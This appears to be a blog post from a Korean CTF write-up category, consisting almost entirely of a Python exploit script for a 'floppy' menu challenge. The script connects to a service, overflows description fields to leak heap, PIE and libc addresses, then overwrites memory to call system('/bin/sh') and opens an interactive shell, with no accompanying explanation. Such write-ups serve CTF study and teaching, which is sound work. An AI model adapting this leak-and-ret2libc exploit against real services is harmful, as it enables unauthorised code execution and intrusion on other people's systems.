1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | from SunKn0wn import * r = remote('192.168.179.135', 9999) def choose(floppy_num): r.recvuntil('>\n') r.sendline('1') r.recvuntil('1 or 2?\n') r.sendline(str(floppy_num)) def write(data, description): r.recvuntil('>\n') r.sendline('2') r.recvuntil('data: \n') r.sendline(data) r.recvuntil('Description: \n') r.sendline(description) def read(): r.recvuntil('>\n') r.sendline('3') def modify(modify_num, data = '', description = ''): r.recvuntil('>\n') r.sendline('4') r.recvuntil('1 Description | 2 Data\n') r.sendline(str(modify_num)) if (modify_num == 1): r.recvuntil('Description: \n') r.sendline(description) else: r.recvuntil('Data: ') r.sendline(data) def exit(): r.recvuntil('>\n') r.sendline('5') r.recvuntil('=\n') def attack(): ##################### Variables ##################### libc_start_got = 0x2730 libc_start_lib = 0x19990 system_lib = 0x40190 floppy1 = 0 init = 0x1160 PIE_base = 0 lib_base = 0 binsh = 0x160A24 ##################### Memory Leak ##################### print "*** Stage1 ***" choose(1) write('5unKn0wn', 'pwned') modify(1, description = 'A' * 16) read() r.recvuntil('DESCRIPTION: ' + 'A' * 16) floppy1 = up32(r.recv(4)) print "[*]floppy1 : " + hex(floppy1) modify(1, description = ('A' * 16 + p32(floppy1) + 'A' * 16)) read() r.recvuntil('DESCRIPTION: ' + 'A' * 16 + p32(floppy1) + 'A' * 16) PIE_base = up32(r.recv(4)) - init print "[*]PIE_base : " + hex(PIE_base) choose(2) write('5unKn0wn', 'pwned') libc_start_got += PIE_base modify(1, description = 'A' * 20 + p32(libc_start_got)) choose(1) read() r.recvuntil('DATA: ') lib_base = up32(r.recv(4)) - libc_start_lib system_lib += lib_base binsh += lib_base print "[*]lib_base : " + hex(lib_base) print "[*]system_lib : " + hex(system_lib) print "[*]/bin/sh : " + hex(binsh) ##################### RTL ##################### print "\n*** Stage2 ***" choose(2) payload = p32(system_lib) payload += 'AAAA' payload += p32(binsh) # /bin/sh modify(1, description = payload) choose(1) modify(1, description = p32(floppy1 - 0xc) * 9) exit() sleep(0.2) r.recv(1024) print "\n*** Get Shell ***" r.interactive() attack() | cs |
'Write Up' 카테고리의 다른 글
2016 CodeGate watermelon exploit (1) | 2016.04.01 |
---|---|
2016 CodeGate bugbug exploit (1) | 2016.04.01 |
2016 Sharif CTF Write-Ups (0) | 2016.02.07 |
HackIM 2016 Reversing - PrisonBreak (1) | 2016.02.01 |
HackIM 2016 Reversing - donfos (0) | 2016.02.01 |